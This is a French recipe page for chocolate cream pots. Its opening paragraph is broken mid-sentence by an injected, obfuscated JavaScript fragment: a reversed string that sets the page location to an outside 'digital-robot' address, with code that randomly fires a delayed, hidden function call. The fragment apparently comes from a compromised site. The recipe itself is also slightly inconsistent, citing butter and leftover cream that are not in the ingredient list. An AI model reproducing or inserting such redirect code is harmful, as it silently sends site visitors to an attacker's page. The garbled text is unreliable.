Le plaisir du chocolat en petits pots

2021-05-18

Cassez le chocolat en petits morceaux. Le déposer dans une casserole avec l’eau froide et la crème fleurette. Faites fondre su feu doux tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant.

Ingrédients

  • Pour 8 personnes
  • 250 g de chocolat noir
  • 20 cl d'eau froide
  • 20 cl de crème fleurette
  • 40 g de sucre en poudre

Préparation de la recette

Etape 1

Cassez le chocolat en petits morceaux.

Etape 2

Le déposer dans une casserole avec l'eau froide et la crème fleurette.

Etape 3

Faites fondre su feu doux tout en remuant.

Etape 4

Le chocolat fondu, retirez du feu et réservez.

Etape 5

Dans une autre petite casserole avec 2 cuillères à soupe d'eau, les 40 g de sucre en poudre, faites chauffer sur feu vif jusqu'à obtenir un caramel doré.

Etape 6

L'incorporer dans le chocolat, ajoutez les 10 cl de crème fleurette restante, et le beurre.

Etape 7

Mélangez avec un fouet jusqu'à ce que le mélange soit lisse.

Etape 8

Versez dans des petits pots où des ramequins.

Etape 9

Laissez en premier temps refroidir à température ambiante et placez au réfrigérateur pendant 2 heures.

Etape 10

Dégustez

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